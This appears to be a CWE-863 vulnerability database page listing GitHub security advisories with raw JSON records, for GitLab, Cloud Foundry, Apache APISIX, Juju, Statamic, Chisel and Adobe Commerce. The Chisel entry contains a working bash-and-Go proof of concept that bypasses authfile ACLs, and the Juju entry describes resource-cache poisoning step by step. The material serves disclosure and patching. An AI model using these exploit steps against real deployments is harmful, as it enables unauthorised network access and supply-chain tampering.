Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5659 vulnerabilities reference this CWE, most recent first.

GHSA-242M-WGG2-VV66

Vulnerability from github – Published: 2023-07-13 03:30 – Updated: 2024-04-04 06:06
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.7 before 15.11.10, all versions starting from 16.0 before 16.0.6, all versions starting from 16.1 before 16.1.1. This allowed a developer to remove the CODEOWNERS rules and merge to a protected branch.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-2576"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-13T03:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.7 before 15.11.10, all versions starting from 16.0 before 16.0.6, all versions starting from 16.1 before 16.1.1. This allowed a developer to remove the CODEOWNERS rules and merge to a protected branch.",
  "id": "GHSA-242m-wgg2-vv66",
  "modified": "2024-04-04T06:06:08Z",
  "published": "2023-07-13T03:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2576"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1898054"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/410123"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2443-WH6V-5RJF

Vulnerability from github – Published: 2022-05-24 17:04 – Updated: 2022-05-24 17:04
VLAI
Details

Cloud Foundry Cloud Controller API (CAPI), version 1.88.0, allows space developers to list all global service brokers, including service broker URLs and GUIDs, which should only be accessible to admins.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-11294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-19T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Cloud Foundry Cloud Controller API (CAPI), version 1.88.0, allows space developers to list all global service brokers, including service broker URLs and GUIDs, which should only be accessible to admins.",
  "id": "GHSA-2443-wh6v-5rjf",
  "modified": "2022-05-24T17:04:41Z",
  "published": "2022-05-24T17:04:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11294"
    },
    {
      "type": "WEB",
      "url": "https://www.cloudfoundry.org/blog/cve-2019-11294"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2455-M68H-QWXV

Vulnerability from github – Published: 2026-06-19 15:33 – Updated: 2026-06-23 15:32
VLAI
Details

Incorrect Authorization vulnerability in Apache APISIX.

An attacker can capitalise on authz-casdoor plugin under default configuration to authenticate themselves with credentials from a different source. This issue affects Apache APISIX: from 2.14.1 through 3.16.0.

Users are recommended to upgrade to version 3.17.0, which fixes the issue.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-47339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-19T14:16:22Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect Authorization vulnerability in Apache APISIX.\n\nAn attacker can capitalise on authz-casdoor plugin under default configuration to authenticate themselves with credentials from a different source.\nThis issue affects Apache APISIX: from 2.14.1 through 3.16.0.\n\nUsers are recommended to upgrade to version 3.17.0, which fixes the issue.",
  "id": "GHSA-2455-m68h-qwxv",
  "modified": "2026-06-23T15:32:30Z",
  "published": "2026-06-19T15:33:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47339"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/lk4q5o855cocc7zq5wh1zlctfmcq6f76"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/06/19/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-245V-P8FJ-VWM2

Vulnerability from github – Published: 2026-04-03 18:29 – Updated: 2026-04-27 16:43
VLAI
Summary
Juju has a resource poisoning vulnerability
Details

Summary

Any authenticated user, machine or controller under a Juju controller can modify the resources of an application within the entire controller.

This one is very straightforward to just read in the code:

Step 1: The authorisation mechanism for the resource handler is defined here. One is only required to have been authed as either a user, machine or controller to pass this check. One requires no permissions on the controller nor does one need any further permissions on the models themselves.

This handler is available under the following path format /:modeluuid/applications/:application/resources/:resources. See here. The handler defines no authorizer as supported by the handler struct here.

One needs to know the following three bits of information to poison the resource cache on the controller: - model uuid - application name in the model - resource name in the model

Given that a lot of deployments use the charm name for applications and the resources for charms are published on charm hub, this is a very low bar to meet, only requiring the model uuid.

Step 2: If one passes the very basic authz check of step 1, one is now allowed free rein for 'PUT' and 'GET' methods to the handler. This security report will only focus on 'PUT' as it is the most interesting. The 'PUT' handler will gladly take whatever is uploaded to it as long as it has the same file extension defined by the resource.

If the resource already exists in the controller's cache, it will be uploaded with whatever is supplied by the upload, see here and here.

That is it. One can successfully poison the resource cache for any model in the controller.

PoC

A proof of concept has not been done for this because it is so obvious from the code read that it is not deemed necessary.

A realistic example of how this can be used: if there is a compromised workload in Juju that has machine credentials, then one can modify the OCI resources for any other model in the controller. For example, if the controller was running a k8s vault, one could change the docker image in use to a trojan horse version that allows obtaining root access to all the vault secrets.

Once this poison has been performed, the attacker can then leverage the vault secrets to go other places.

Impact

Any charm deployment where a resource could be modified to inject security vulnerabilities into another workload. The most obvious is OCI containers as one gets execution escalation, but if a file resource had security controls in it, this could also be leveraged. For the file case, this would need to be examined on a case-by-case basis.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/juju/juju"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260120044552-26ff93c903d5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T18:29:54Z",
    "nvd_published_at": "2026-04-03T16:16:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAny authenticated user, machine or controller under a Juju controller can modify the resources of an application within the entire controller.\n\nThis one is very straightforward to just read in the code:\n\n**Step 1:**\nThe authorisation mechanism for the resource handler is defined [here](https://github.com/juju/juju/blob/1a8d84ec114c2e4f9921e30081e5a5549f7cbfc4/apiserver/internal/handlers/resources/resources.go#L77). One is only required to have been authed as either a user, machine or controller to pass this check. One requires no permissions on the controller nor does one need any further permissions on the models themselves.\n\nThis handler is available under the following path format `/:modeluuid/applications/:application/resources/:resources`. See [here](https://github.com/juju/juju/blob/1a8d84ec114c2e4f9921e30081e5a5549f7cbfc4/apiserver/apiserver.go#L949). The handler defines no authorizer as supported by the handler struct [here](https://github.com/juju/juju/blob/1a8d84ec114c2e4f9921e30081e5a5549f7cbfc4/apiserver/apiserver.go#L696).\n\nOne needs to know the following three bits of information to poison the resource cache on the controller:\n- model uuid\n- application name in the model\n- resource name in the model\n\nGiven that a lot of deployments use the charm name for applications and the resources for charms are published on charm hub, this is a very low bar to meet, only requiring the model uuid.\n\n**Step 2:**\nIf one passes the very basic authz check of step 1, one is now allowed free rein for \u0027PUT\u0027 and \u0027GET\u0027 methods to the handler. This security report will only focus on \u0027PUT\u0027 as it is the most interesting. The \u0027PUT\u0027 handler will gladly take whatever is uploaded to it as long as it has the same file extension defined by the resource.\n\nIf the resource already exists in the controller\u0027s cache, it will be uploaded with whatever is supplied by the upload, see [here](https://github.com/juju/juju/blob/1a8d84ec114c2e4f9921e30081e5a5549f7cbfc4/apiserver/internal/handlers/resources/resources.go#L219) and [here](https://github.com/juju/juju/blob/1a8d84ec114c2e4f9921e30081e5a5549f7cbfc4/domain/resource/service/resource.go#L388).\n\nThat is it. One can successfully poison the resource cache for any model in the controller.\n\n### PoC\nA proof of concept has not been done for this because it is so obvious from the code read that it is not deemed necessary.\n\nA realistic example of how this can be used: if there is a compromised workload in Juju that has machine credentials, then one can modify the OCI resources for any other model in the controller. For example, if the controller was running a k8s vault, one could change the docker image in use to a trojan horse version that allows obtaining root access to all the vault secrets.\n\nOnce this poison has been performed, the attacker can then leverage the vault secrets to go other places.\n\n### Impact\nAny charm deployment where a resource could be modified to inject security vulnerabilities into another workload. The most obvious is OCI containers as one gets execution escalation, but if a file resource had security controls in it, this could also be leveraged. For the file case, this would need to be examined on a case-by-case basis.",
  "id": "GHSA-245v-p8fj-vwm2",
  "modified": "2026-04-27T16:43:56Z",
  "published": "2026-04-03T18:29:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/security/advisories/GHSA-245v-p8fj-vwm2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68153"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/26ff93c903d55b0712c6fb3f6b254710edb971d4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/juju/juju"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Juju has a resource poisoning vulnerability"
}

GHSA-2486-F4HQ-9M5C

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40
VLAI
Details

The Hide-Thread-Content plugin through 2021-01-27 for MyBB allows remote attackers to bypass intended content-reading restrictions by clicking on reply or quote in the postbit.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-3337"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-28T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Hide-Thread-Content plugin through 2021-01-27 for MyBB allows remote attackers to bypass intended content-reading restrictions by clicking on reply or quote in the postbit.",
  "id": "GHSA-2486-f4hq-9m5c",
  "modified": "2022-05-24T17:40:33Z",
  "published": "2022-05-24T17:40:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3337"
    },
    {
      "type": "WEB",
      "url": "https://github.com/snlbaral/Hide-Thread-Content/issues/1"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/161185/MyBB-Hide-Thread-Content-1.0-Information-Disclosure.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2497-6PWJ-PWG7

Vulnerability from github – Published: 2026-06-26 22:12 – Updated: 2026-06-26 22:12
VLAI
Summary
Statamic CMS: Missing authorization on Control Panel fieldtype endpoints allows disclosure of restricted resources
Details

Impact

An authenticated Control Panel user could view metadata and content for resources they don't have permission to view, including entries, assets, users, roles, groups, and other configured resources. Depending on the resource, this could expose titles, custom field values, entry content, asset metadata, and the existence of users, roles, and groups. No data could be modified.

Patches

This has been fixed in 5.73.23 and 6.20.0.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "statamic/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.73.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "statamic/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49288"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T22:12:21Z",
    "nvd_published_at": "2026-06-19T19:16:36Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAn authenticated Control Panel user could view metadata and content for resources they don\u0027t have permission to view, including entries, assets, users, roles, groups, and other configured resources. Depending on the resource, this could expose titles, custom field values, entry content, asset metadata, and the existence of users, roles, and groups. No data could be modified.\n\n### Patches\n\nThis has been fixed in 5.73.23 and 6.20.0.",
  "id": "GHSA-2497-6pwj-pwg7",
  "modified": "2026-06-26T22:12:21Z",
  "published": "2026-06-26T22:12:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/statamic/cms/security/advisories/GHSA-2497-6pwj-pwg7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49288"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/statamic/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Statamic CMS: Missing authorization on Control Panel fieldtype endpoints allows disclosure of restricted resources"
}

GHSA-24FP-5V3P-RVPW

Vulnerability from github – Published: 2026-06-12 15:04 – Updated: 2026-06-12 15:04
VLAI
Summary
Chisel has an ACL Bypass via Post-Handshake SSH Channel ExtraData Injection
Details

Summary

Authenticated chisel clients can bypass --authfile ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client authenticates with a permitted remote, then opens channels to any host:port it wants.

Details

The chisel server validates user ACLs in two places but is missing validation in one of the important places.

The server/server_handler.go checks the ACL, during the initial config handshake:

for _, r := range c.Remotes {
    if user != nil {
        addr := r.UserAddr()
        if !user.HasAccess(addr) {
            failed(s.Errorf("access to '%s' denied", addr))
            return
        }
    }
}
r.Reply(true, nil)

This validates the declared remote list from the client's config request. It runs once, at connection setup. But in share/tunnel/tunnel_out_ssh.go ACL aren't being checked, when the server processes actual traffic channels:

func (t *Tunnel) handleSSHChannel(ch ssh.NewChannel) {
    remote := string(ch.ExtraData())        // client-controlled
    hostPort, proto := settings.L4Proto(remote)
    sshChan, reqs, err := ch.Accept()       // accepted unconditionally
    // ...
    err = t.handleTCP(l, stream, hostPort)  // dials whatever client said
}

func (t *Tunnel) handleTCP(l *cio.Logger, src io.ReadWriteCloser, hostPort string) error {
    dst, err := net.Dial("tcp", hostPort)   // no ACL check
    // ...
}

The tunnel.Config struct has no User field, no allowed-address list, and no ACL callback. The user context from server_handler.go is never propagated to the tunnel layer:

type Config struct {
    *cio.Logger
    Inbound   bool
    Outbound  bool
    Socks     bool
    KeepAlive time.Duration
    // ------- No User, no AllowedRemotes, no ACL
}

Since ch.ExtraData() is fully controlled by the SSH client, any authenticated user can open channels to arbitrary destinations after passing the handshake with a permitted remote.

PoC

Directory structure format:

poc
├── poc.sh
└── probe
    ├── go.mod
    ├── go.sum
    └── main.go
  • poc.sh
#!/usr/bin/env bash

# Requires: Go, nc (netcat)

set -euo pipefail
DIR="$(cd "$(dirname "$0")" && pwd)"
REPO="$DIR/.."

freeport() { python3 -c "import socket;s=socket.socket();s.bind(('',0));print(s.getsockname()[1]);s.close()"; }
cleanup() { kill $SERVER $LISTENER 2>/dev/null; rm -f "$AUTH"; }
trap cleanup EXIT

# Build
echo "[*] Building..."
(cd "$REPO"       && go build -o /tmp/_chisel .)
(cd "$DIR/probe"  && go build -o /tmp/_probe  .)

# Ports
SP=$(freeport); AP=$(freeport); BP=$(freeport)
echo "[*] Server :$SP  Allowed :$AP  Blocked :$BP"

# Authfile — user:pass may only reach 127.0.0.1:$AP
AUTH=$(mktemp)
printf '{"user:pass":["^127\\\\.0\\\\.0\\\\.1:%s$"]}\n' "$AP" > "$AUTH"

# Start forbidden-target listener and chisel server
(echo "FORBIDDEN_TARGET_REACHED" | nc -l 127.0.0.1 "$BP") & LISTENER=$!
/tmp/_chisel server --port "$SP" --authfile "$AUTH" --key seed 2>/dev/null & SERVER=$!
sleep 1

# Exploit
CHISEL_SERVER="127.0.0.1:$SP" ALLOWED_PORT="$AP" BLOCKED_PORT="$BP" /tmp/_probe
  • main.go
// Chisel ACL bypass probe. Authenticates with an allowed remote,
// then opens an SSH channel to a forbidden destination via ExtraData.
package main

import (
    "encoding/json"
    "fmt"
    "net"
    "net/http"
    "os"
    "time"

    "github.com/gorilla/websocket"
    "github.com/jpillora/chisel/share/cnet"
    "github.com/jpillora/chisel/share/settings"
    "golang.org/x/crypto/ssh"
)

func main() {
    server := os.Getenv("CHISEL_SERVER")
    allowed := os.Getenv("ALLOWED_PORT")
    blocked := os.Getenv("BLOCKED_PORT")

    // WebSocket → net.Conn
    ws, _, err := (&websocket.Dialer{
        HandshakeTimeout: 5 * time.Second,
        Subprotocols:     []string{"chisel-v3"},
    }).Dial("ws://"+server, http.Header{})
    check(err, "ws dial")
    conn := cnet.NewWebSocketConn(ws)

    // SSH handshake
    sc, chans, reqs, err := ssh.NewClientConn(conn, "", &ssh.ClientConfig{
        User:            "user",
        Auth:            []ssh.AuthMethod{ssh.Password("pass")},
        HostKeyCallback: ssh.InsecureIgnoreHostKey(),
    })
    check(err, "ssh")
    go ssh.DiscardRequests(reqs)
    go func() { for c := range chans { c.Reject(ssh.Prohibited, "") } }()

    // Send config with only the allowed remote
    r, _ := settings.DecodeRemote(fmt.Sprintf("0.0.0.0:%s:127.0.0.1:%s", allowed, allowed))
    cfg, _ := json.Marshal(settings.Config{Version: "0", Remotes: []*settings.Remote{r}})
    ok, reply, err := sc.SendRequest("config", true, cfg)
    check(err, "config")
    if !ok {
        die("config rejected: %s", reply)
    }
    fmt.Printf("[+] Config accepted (only 127.0.0.1:%s allowed)\n", allowed)

    // Open channel to BLOCKED destination
    target := net.JoinHostPort("127.0.0.1", blocked)
    ch, cr, err := sc.OpenChannel("chisel", []byte(target))
    if err != nil {
        fmt.Printf("[-] REJECTED — server refused %s\n", target)
        os.Exit(1)
    }
    go ssh.DiscardRequests(cr)
    fmt.Printf("[!] ACCEPTED — channel opened to %s\n", target)

    // Read response from forbidden target
    buf := make([]byte, 256)
    done := make(chan int, 1)
    go func() { n, _ := ch.Read(buf); done <- n }()
    select {
    case n := <-done:
        if n > 0 {
            fmt.Printf("[!] Data: %s\n", buf[:n])
        }
    case <-time.After(3 * time.Second):
    }
    fmt.Println("CONFIRMED — ACL bypass: server dialed unauthorized destination")
    ch.Close()
    sc.Close()
}

func check(err error, ctx string) {
    if err != nil {
        die("%s: %v", ctx, err)
    }
}
func die(f string, a ...interface{}) {
    fmt.Fprintf(os.Stderr, f+"\n", a...)
    os.Exit(1)
}

Impact

  • Complete ACL bypass: The --authfile address restrictions are enforceable only on paper
  • Authenticated users can reach any host/port the server process can dial
Severity
8.5 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.11.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/jpillora/chisel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T15:04:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAuthenticated chisel clients can bypass `--authfile` ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client authenticates with a permitted remote, then opens channels to any `host:port` it wants.\n\n\n### Details\nThe chisel server validates user ACLs in two places but is missing validation in one of the important places.\n\nThe `server/server_handler.go` checks the ACL, during the initial config handshake:\n\n```go\nfor _, r := range c.Remotes {\n    if user != nil {\n        addr := r.UserAddr()\n        if !user.HasAccess(addr) {\n            failed(s.Errorf(\"access to \u0027%s\u0027 denied\", addr))\n            return\n        }\n    }\n}\nr.Reply(true, nil)\n```\n\nThis validates the declared remote list from the client\u0027s config request. It runs once, at connection setup. But in `share/tunnel/tunnel_out_ssh.go` ACL aren\u0027t being checked, when the server processes actual traffic channels:\n\n```go\nfunc (t *Tunnel) handleSSHChannel(ch ssh.NewChannel) {\n    remote := string(ch.ExtraData())        // client-controlled\n    hostPort, proto := settings.L4Proto(remote)\n    sshChan, reqs, err := ch.Accept()       // accepted unconditionally\n    // ...\n    err = t.handleTCP(l, stream, hostPort)  // dials whatever client said\n}\n\nfunc (t *Tunnel) handleTCP(l *cio.Logger, src io.ReadWriteCloser, hostPort string) error {\n    dst, err := net.Dial(\"tcp\", hostPort)   // no ACL check\n    // ...\n}\n```\n\nThe `tunnel.Config` struct has no User field, no allowed-address list, and no ACL callback. The user context from `server_handler.go` is never propagated to the tunnel layer:\n\n```go\ntype Config struct {\n    *cio.Logger\n    Inbound   bool\n    Outbound  bool\n    Socks     bool\n    KeepAlive time.Duration\n    // ------- No User, no AllowedRemotes, no ACL\n}\n```\nSince `ch.ExtraData()` is fully controlled by the SSH client, any authenticated user can open channels to arbitrary destinations after passing the handshake with a permitted remote.\n\n\n### PoC\n\nDirectory structure format:\n```\npoc\n\u251c\u2500\u2500 poc.sh\n\u2514\u2500\u2500 probe\n    \u251c\u2500\u2500 go.mod\n    \u251c\u2500\u2500 go.sum\n    \u2514\u2500\u2500 main.go\n```\n\n- `poc.sh`\n\n```bash\n#!/usr/bin/env bash\n\n# Requires: Go, nc (netcat)\n\nset -euo pipefail\nDIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\nREPO=\"$DIR/..\"\n\nfreeport() { python3 -c \"import socket;s=socket.socket();s.bind((\u0027\u0027,0));print(s.getsockname()[1]);s.close()\"; }\ncleanup() { kill $SERVER $LISTENER 2\u003e/dev/null; rm -f \"$AUTH\"; }\ntrap cleanup EXIT\n\n# Build\necho \"[*] Building...\"\n(cd \"$REPO\"       \u0026\u0026 go build -o /tmp/_chisel .)\n(cd \"$DIR/probe\"  \u0026\u0026 go build -o /tmp/_probe  .)\n\n# Ports\nSP=$(freeport); AP=$(freeport); BP=$(freeport)\necho \"[*] Server :$SP  Allowed :$AP  Blocked :$BP\"\n\n# Authfile \u2014 user:pass may only reach 127.0.0.1:$AP\nAUTH=$(mktemp)\nprintf \u0027{\"user:pass\":[\"^127\\\\\\\\.0\\\\\\\\.0\\\\\\\\.1:%s$\"]}\\n\u0027 \"$AP\" \u003e \"$AUTH\"\n\n# Start forbidden-target listener and chisel server\n(echo \"FORBIDDEN_TARGET_REACHED\" | nc -l 127.0.0.1 \"$BP\") \u0026 LISTENER=$!\n/tmp/_chisel server --port \"$SP\" --authfile \"$AUTH\" --key seed 2\u003e/dev/null \u0026 SERVER=$!\nsleep 1\n\n# Exploit\nCHISEL_SERVER=\"127.0.0.1:$SP\" ALLOWED_PORT=\"$AP\" BLOCKED_PORT=\"$BP\" /tmp/_probe\n```\n\n- `main.go`\n\n```go\n// Chisel ACL bypass probe. Authenticates with an allowed remote,\n// then opens an SSH channel to a forbidden destination via ExtraData.\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/gorilla/websocket\"\n\t\"github.com/jpillora/chisel/share/cnet\"\n\t\"github.com/jpillora/chisel/share/settings\"\n\t\"golang.org/x/crypto/ssh\"\n)\n\nfunc main() {\n\tserver := os.Getenv(\"CHISEL_SERVER\")\n\tallowed := os.Getenv(\"ALLOWED_PORT\")\n\tblocked := os.Getenv(\"BLOCKED_PORT\")\n\n\t// WebSocket \u2192 net.Conn\n\tws, _, err := (\u0026websocket.Dialer{\n\t\tHandshakeTimeout: 5 * time.Second,\n\t\tSubprotocols:     []string{\"chisel-v3\"},\n\t}).Dial(\"ws://\"+server, http.Header{})\n\tcheck(err, \"ws dial\")\n\tconn := cnet.NewWebSocketConn(ws)\n\n\t// SSH handshake\n\tsc, chans, reqs, err := ssh.NewClientConn(conn, \"\", \u0026ssh.ClientConfig{\n\t\tUser:            \"user\",\n\t\tAuth:            []ssh.AuthMethod{ssh.Password(\"pass\")},\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t})\n\tcheck(err, \"ssh\")\n\tgo ssh.DiscardRequests(reqs)\n\tgo func() { for c := range chans { c.Reject(ssh.Prohibited, \"\") } }()\n\n\t// Send config with only the allowed remote\n\tr, _ := settings.DecodeRemote(fmt.Sprintf(\"0.0.0.0:%s:127.0.0.1:%s\", allowed, allowed))\n\tcfg, _ := json.Marshal(settings.Config{Version: \"0\", Remotes: []*settings.Remote{r}})\n\tok, reply, err := sc.SendRequest(\"config\", true, cfg)\n\tcheck(err, \"config\")\n\tif !ok {\n\t\tdie(\"config rejected: %s\", reply)\n\t}\n\tfmt.Printf(\"[+] Config accepted (only 127.0.0.1:%s allowed)\\n\", allowed)\n\n\t// Open channel to BLOCKED destination\n\ttarget := net.JoinHostPort(\"127.0.0.1\", blocked)\n\tch, cr, err := sc.OpenChannel(\"chisel\", []byte(target))\n\tif err != nil {\n\t\tfmt.Printf(\"[-] REJECTED \u2014 server refused %s\\n\", target)\n\t\tos.Exit(1)\n\t}\n\tgo ssh.DiscardRequests(cr)\n\tfmt.Printf(\"[!] ACCEPTED \u2014 channel opened to %s\\n\", target)\n\n\t// Read response from forbidden target\n\tbuf := make([]byte, 256)\n\tdone := make(chan int, 1)\n\tgo func() { n, _ := ch.Read(buf); done \u003c- n }()\n\tselect {\n\tcase n := \u003c-done:\n\t\tif n \u003e 0 {\n\t\t\tfmt.Printf(\"[!] Data: %s\\n\", buf[:n])\n\t\t}\n\tcase \u003c-time.After(3 * time.Second):\n\t}\n\tfmt.Println(\"CONFIRMED \u2014 ACL bypass: server dialed unauthorized destination\")\n\tch.Close()\n\tsc.Close()\n}\n\nfunc check(err error, ctx string) {\n\tif err != nil {\n\t\tdie(\"%s: %v\", ctx, err)\n\t}\n}\nfunc die(f string, a ...interface{}) {\n\tfmt.Fprintf(os.Stderr, f+\"\\n\", a...)\n\tos.Exit(1)\n}\n```\n\n### Impact\n\n- Complete ACL bypass: The `--authfile` address restrictions are enforceable only on paper\n-  Authenticated users can reach any host/port the server process can dial",
  "id": "GHSA-24fp-5v3p-rvpw",
  "modified": "2026-06-12T15:04:37Z",
  "published": "2026-06-12T15:04:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpillora/chisel/security/advisories/GHSA-24fp-5v3p-rvpw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpillora/chisel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Chisel has an ACL Bypass via Post-Handshake SSH Channel ExtraData Injection"
}

GHSA-24HM-FC95-562H

Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32
VLAI
Details

Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-47998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
